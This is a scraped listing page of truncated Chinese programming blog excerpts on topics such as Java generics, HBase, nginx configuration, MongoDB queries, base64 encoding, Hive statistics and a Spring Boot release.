本文详细介绍Java的范型，写一篇关于范型的博客原因有两个，前几天要写个范型方法(返回值根据传入的类型而定)，竟然想了半天，最后还是从网上找了个范型方法的写法；再者，前一段时间在看Gson, Gson这个JSON包的精华就在于对范型的优雅简单的处理，看它的源代码就比较迷糊，只其然不知其所以然。所以，还是花点时间系统的整理总结下范型吧。范型内容范型集合类范型类
【HBase十二】HFile存储的是一个列族的数据 bit1129 hbase
在HBase中，每个HFile存储的是一个表中一个列族的数据，也就是说，当一个表中有多个列簇时，针对每个列簇插入数据，最后产生的数据是多个HFile，每个对应一个列族，通过如下操作验证 1. 建立一个有两个列族的表 create 'members','colfam1','colfam2' 2. 在members表中的colfam1中插入50*5
Nginx 官方一个配置实例 ronin47 nginx 配置实例
user www www; worker_processes 5; error_log logs/error.log; pid logs/nginx.pid; worker_rlimit_nofile 8192; events { worker_connections 4096;} http { include conf/mim
java-15.输入一颗二元查找树，将该树转换为它的镜像，即在转换后的二元查找树中，左子树的结点都大于右子树的结点。用递归和循环 bylijinnan java
//use recursion public static void mirrorHelp1(Node node){ if(node==null)return; swapChild(node); mirrorHelp1(node.getLeft()); mirrorHelp1(node.getRight()); } //use no recursion bu
返回null还是empty bylijinnan java apache spring 编程
第一个问题，函数是应当返回null还是长度为0的数组（或集合）？第二个问题，函数输入参数不当时，是异常还是返回null？先看第一个问题有两个约定我觉得应当遵守： 1.返回零长度的数组或集合而不是null（详见《Effective Java》）理由就是，如果返回empty，就可以少了很多not-null判断： List<Person> list
[科技与项目]工作流厂商的战略机遇期 comsci 工作流
在新的战略平衡形成之前，这里有一个短暂的战略机遇期，只有大概最短6年，最长14年的时间，这段时间就好像我们森林里面的小动物，在秋天中，必须抓紧一切时间存储坚果一样，否则无法熬过漫长的冬季。。。。在微软，甲骨文，谷歌，IBM,SONY
过度设计-举例 cuityang 过度设计
过度设计，需要更多设计时间和测试成本，如无必要，还是尽量简洁一些好。未来的事情，比如访问量，比如数据库的容量，比如是否需要改成分布式都是无法预料的再举一个例子，对闰年的判断逻辑：　　1、 if($Year%4==0) return True; else return Fasle; 　　2、if ( ($Year%4==0 &am
java进阶，《Java性能优化权威指南》试读 darkblue086 java性能优化
记得当年随意读了微软出版社的.NET 2.0应用程序调试，才发现调试器如此强大，应用程序开发调试其实真的简单了很多，不仅仅是因为里面介绍了很多调试器工具的使用，更是因为里面寻找问题并重现问题的思想让我震撼，时隔多年，Java已经如日中天，成为许多大型企业应用的首选，而今天，这本《Java性能优化权威指南》让我再次找到了这种感觉，从不经意的开发过程让我刮目相看，原来性能调优不是简单地看看热点在哪里，
网络学习笔记初识OSI七层模型与TCP协议 dcj3sjt126com 学习笔记
协议：在计算机网络中通信各方面所达成的、共同遵守和执行的一系列约定　　计算机网络的体系结构：计算机网络的层次结构和各层协议的集合。　　两类服务：　　面向连接的服务通信双方在通信之前先建立某种状态，并在通信过程中维持这种状态的变化，同时为服务对象预先分配一定的资源。这种服务叫做面向连接的服务。　　面向无连接的服务通信双方在通信前后不建立和维持状态，不为服务对象
mac中用命令行运行mysql dcj3sjt126com mysql linux mac
参考这篇博客：http://www.cnblogs.com/macro-cheng/archive/2011/10/25/mysql-001.html 感觉workbench不好用（有点先入为主了）。 1，安装mysql 在mysql的官方网站下载 mysql 5.5.23 http://www.mysql.com/downloads/mysql/，根据我的机器的配置情况选择了64
MongDB查询（1）——基本查询[五] eksliang mongodb mongodb 查询 mongodb find
MongDB查询转载请出自出处：http://eksliang.iteye.com/blog/2174452 一、find简介 MongoDB中使用find来进行查询。 API:如下 function ( query , fields , limit , skip, batchSize, options ){.....} 参数含义： query:查询参数 fie
base64，加密解密经融加密，对接 y806839048 经融加密对接
String data0 = new String(Base64.encode(bo.getPaymentResult().getBytes(("GBK")))); String data1 = new String(Base64.decode(data0.toCharArray()),"GBK"); // 注意编码格式，注意用于加密，解密的要是同
JavaWeb之JSP概述 ihuning javaweb
什么是JSP？为什么使用JSP？ JSP表示Java Server Page，即嵌有Java代码的HTML页面。使用JSP是因为在HTML中嵌入Java代码比在Java代码中拼接字符串更容易、更方便和更高效。 JSP起源在很多动态网页中，绝大部分内容都是固定不变的，只有局部内容需要动态产生和改变。如果使用Servl
apple watch 指南啸笑天 apple
1. 文档 WatchKit Programming Guide（中译在线版 By @CocoaChina）译文译者原文概览 - 开始为 Apple Watch 进行开发 @星夜暮晨 Overview - Developing for Apple Watch 概览 - 配置 Xcode 项目 - Overview - Configuring Yo
java经典的基础题目 macroli java 编程
1.列举出 10个JAVA语言的优势 a:免费，开源，跨平台(平台独立性)，简单易用，功能完善，面向对象，健壮性，多线程，结构中立，企业应用的成熟平台, 无线应用 2.列举出JAVA中10个面向对象编程的术语 a:包，类，接口，对象，属性，方法，构造器，继承，封装，多态，抽象，范型 3.列举出JAVA中6个比较常用的包 Java.lang;java.util;java.io;java.sql;ja
你所不知道神奇的js replace正则表达式 qiaolevip 每天进步一点点学习永无止境纵观千象 regex
var v = 'C9CFBAA3CAD0'; console.log(v); var arr = v.split(''); for (var i = 0; i < arr.length; i ++) { if (i % 2 == 0) arr[i] = '%' + arr[i]; } console.log(arr.join('')); console.log(v.r
[一起学Hive]之十五-分析Hive表和分区的统计信息(Statistics) superlxw1234 hive hive分析表 hive统计信息 hive Statistics
关键字：Hive统计信息、分析Hive表、Hive Statistics 类似于Oracle的分析表，Hive中也提供了分析表和分区的功能，通过自动和手动分析Hive表，将Hive表的一些统计信息存储到元数据中。表和分区的统计信息主要包括：行数、文件数、原始数据大小、所占存储大小、最后一次操作时间等； 14.1 新表的统计信息对于一个新创建
Spring Boot 1.2.5 发布 wiselyman spring boot
Spring Boot 1.2.5已在7月2日发布，现在可以从spring的maven库和maven中心库下载。这个版本是一个维护的发布版，主要是一些修复以及将Spring的依赖提升至4.1.7(包含重要的安全修复)。官方建议所有的Spring Boot用户升级这个版本。项目首页 | 源